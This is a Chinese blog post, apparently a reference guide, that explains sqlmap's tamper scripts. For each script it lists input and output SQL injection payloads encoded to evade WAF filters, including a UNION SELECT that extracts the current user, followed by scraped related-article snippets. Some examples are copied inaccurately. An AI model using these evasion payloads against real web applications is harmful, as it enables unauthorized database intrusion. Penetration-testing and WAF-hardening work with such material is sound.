1 * Input: 1 AND 9227=9227

2 *Output:1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

View Code

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MS-SQL,,MYSQL,ORACLE和POSTGRESQL。SQLMAP采用四种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,堆查询和基于时间的SQL盲注入。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。在许多情况下你可以通过使用sqlmap中的tamper脚本来对目标进行更高效的攻击。

本文旨在介绍tamper目录中的大部分插件,其中有的部分网上已经有了。

脚本名:apostrophemask.py

作用:用utf8代替引号

Example:

Default

1

2

("1 AND '1'='1")

'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'

Tested against:

all

—————————————————————————————

文件名:equaltolike.py

作用:like 代替等号

Example:

Default

1

2

*Input:SELECT *FROM users WHERE id=1

*Output:SELECT *FROM users WHERE id LIKE1

Tested against:

* Microsoft SQL Server 2005

* MySQL 4, 5.0 and 5.5

—————————————————————————————

脚本名:space2dash.py

作用:绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)

Example:

Default

1

2

('1 AND 9227=9227')

'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

Tested against:

* MSSQL

* SQLite

—————————————————————————————

脚本名:greatest.py

作用:绕过过滤’>’ ,用GREATEST替换大于号。

Example:

Default

1

2

('1 AND A > B')

'1 AND GREATEST(A,B+1)=A'

Tested against:

* MySQL 4, 5.0 and 5.5

* Oracle 10g

* PostgreSQL 8.3, 8.4, 9.0

——————————————————

脚本名:space2hash.py

作用:空格替换为#号 随机字符串 以及换行符

Example:

Default

1

2

*Input:1AND9227=9227

*Output:1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:

* MySQL

Tested against:

* MySQL 4.0, 5.0

——————————————————

脚本名:apostrophenullencode.py

作用:绕过过滤双引号,替换字符和双引号。

Example:

Default

1

2

tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'

Tested against:

* MySQL 4, 5.0 and 5.5

* Oracle 10g

* PostgreSQL 8.3, 8.4, 9.0

——————————————————

脚本名:halfversionedmorekeywords.py

作用:当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

Example:

Default

1

2

("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")

"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

Requirement:

* MySQL < 5.1

Tested against:

* MySQL 4.0.18, 5.0.22

———————————————–

脚本名:space2morehash.py

作用:空格替换为 #号 以及更多随机字符串 换行符

Example:

Default

1

2

*Input:1AND9227=9227

*Output:1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:

* MySQL >= 5.1.13

Tested against:

* MySQL 5.1.41

——————————————

脚本名:appendnullbyte.py

作用:在有效负荷结束位置加载零字节字符编码

Example:

Default

1

2

('1 AND 1=1')

'1 AND 1=1%00'

Requirement:

* Microsoft Access

——————————————

脚本名:ifnull2ifisnull.py

作用:绕过对 IFNULL 过滤。

替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’

Example:

Default

1

2

('IFNULL(1, 2)')

'IF(ISNULL(1),2,1)'

Requirement:

* MySQL

* SQLite (possibly)

* SAP MaxDB (possibly)

Tested against:

* MySQL 5.0 and 5.5

——————————————

脚本名:space2mssqlblank.py(mssql)

作用:空格替换为其它空符号

Example:

Default

1

2

*Input:SELECT id FROM users

*Output:SELECT%08id%02FROM%0Fusers

Requirement:

* Microsoft SQL Server

Tested against:

* Microsoft SQL Server 2000

* Microsoft SQL Server 2005

# ASCII table:

Default

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

#   SOH     01      start of heading

#   STX     02      start of text

#   ETX     03      end of text

#   EOT     04      end of transmission

#   ENQ     05      enquiry

#   ACK     06      acknowledge

#   BEL     07      bell

#   BS      08      backspace

#   TAB     09      horizontal tab

#   LF      0A      new line

#   VT      0B      vertical TAB

#   FF      0C      new page

#   CR      0D      carriage return

#   SO      0E      shift out

#   SI      0F      shift in

————————————————-

关于Sqlmap Tamper的使用参考:《如何使用SQLMap绕过WAF》《sqlmap用户手册》

via@凌霄飞龙

sqlmap tamper mysql_Sqlmap Tamper大全(1)相关推荐

  1. sqlmap tamper mysql_sqlmap tamper的使用

    前言 在早之前我对于tamper的使用一直都是停留在错误的思维.想着bypass,应该要先手动fuzz出规则来,然后再写成tamper使用. 直到今天,才察觉根本不需要一定要fuzz出具体的规则来,无 ...

  2. sqlmap tamper mysql_sqlmap之常用tamper脚本

    常用tamper脚本 apostrophemask.py 适用数据库:ALL 作用:将引号替换为utf-8,用于过滤单引号 使用脚本前:tamper("1 AND '1'='1") ...

  3. SQLMAP进阶使用 --tamper

    实验原理 tamper脚本是SQLMAP中用于绕过waf或应对网站过滤逻辑的脚本.SQLMA自带了一些tamper脚本,可以在 tamper目录下查看它们.用户也可以根据已有的tamper脚本来编写自 ...

  4. mysql常用的tamper脚本_总结一些sqlmap的常用tamper脚本释义

    要想成为一名合格的"脚本小子",我们首先需要一个强大的工具,然后利用好他的脚本.但是脚本也不能乱用,首先就是要了解一下SqlMap的常用的脚本,然后分清楚场合进行利用.(好的,看开 ...

  5. sqlmap中的tamper 脚本分析

    space2randomblank 作用:空格替换为备选字符集中的随机字符 例子: ('select id from users') ( select %0Did%0DFRM%0A users') 详 ...

  6. sqlmap 连接mysql_sqlmap连接Mysql实现getshell | CN-SEC 中文网

    摘要 首先得知道这个玩意,sqlmap -help,不说大家也懂搜嘎. 语法为:" DBMS://USER:[email protected]_IP:DBMS_PORT/DATABASE_N ...

  7. sqlmap 连接mysql_sqlmap从入门到精通-第三章-4-4-使用sqlmap直连MSSQL获取webshell或权限...

    4.4 使用sqlmap直连MSSQL获取webshell或权限 在某些情况下可能不存在SQL注入漏洞,但是通过发现目标源代码泄露,备份泄露,文件包含等方法获取了数据库服务器的IP地址,数据库账户和密 ...

  8. sqlmap 连接mysql_sqlmap连接Mysql实现getshell(原创)

    前言 昨天群友发了一知乎的帖子..才发现sqlmap玩了那么久有些玩意我居然没玩过...然后看着群友玩= =今天也想试试. 0x01 首先得知道这个玩意,sqlmap -help,不说大家也懂搜嘎. ...

  9. 《中庸》开宗明义:天命之谓性,率性之谓道,修道之谓教。

    天命之谓性,率性之谓道,修道之谓教. 道也者,不可须臾离也,可离,非道也.是故君子戒慎乎其所不睹,恐惧乎其所不闻.莫见乎隐,莫显乎微,故君子慎其独也. 喜.怒.哀.乐之未发,谓之中:发而皆中节,谓之和 ...

最新文章

  1. 深入剖析SolrCloud(二)
  2. 传闻要被「降级」的这所211高校,让这位网红教授「救活了」
  3. Cloudify — Overview
  4. 【Linux 内核】进程优先级与调度策略 ② ( 获取调度策略对应的进程优先级函数 | sched_get_priority_max 函数 | sched_get_priority_min 函数 )
  5. ISATAP隧道技术及实践
  6. gson json转map_Java几种常用JSON库性能比较
  7. 打开浏览器不是主页_对于360浏览器的一些小小改善
  8. SpringMVC注解HelloWorld
  9. GridMask:SOTA 数据增广方法,显著改进分类、检测、分割效果
  10. ie6/ie7/firefox/dispaly:inline-block:兼容性
  11. Python正则表达式常用flag含义与用法详解
  12. 火星人敏捷开发手册 2011-10-14 发布
  13. python项目实战:模拟登陆CSDN
  14. 3.4、云计算FusionAccess桌面运维与管理
  15. 可靠数据传输(rdt)实现的底层原理
  16. 国产 Linux 操作系统面临的困境
  17. ubuntu18.04安装MPV视频播放器
  18. INI配置——《跟我学Shiro》
  19. Kylin 认证培训硬核召集令,助力打造金融科技大数据紧缺人才
  20. 在Swagger中请求API返回400BadRequest

热门文章

  1. 音视频技术开发周刊 | 248
  2. Windows Azure Virtual Network (13) 跨数据中心之间的虚拟网络点对点连接VNet Peering
  3. 在Ubuntu下载Python3.6.2并建立软连接
  4. mes系统多少钱,企业要不要上mes系统?
  5. 报表解决方案Telerik Reporting发布R2 2019 SP1|支持MS Access
  6. 40个重要的HTML5面试题及答案
  7. N76E003 串口接收字符串,完整输出
  8. macOS 安装 Adobe Zii 2019 for Adobe
  9. 改变思维(深度学习)
  10. 云主机装黑果实践(5):重得到镜像和继续强化前置启动过程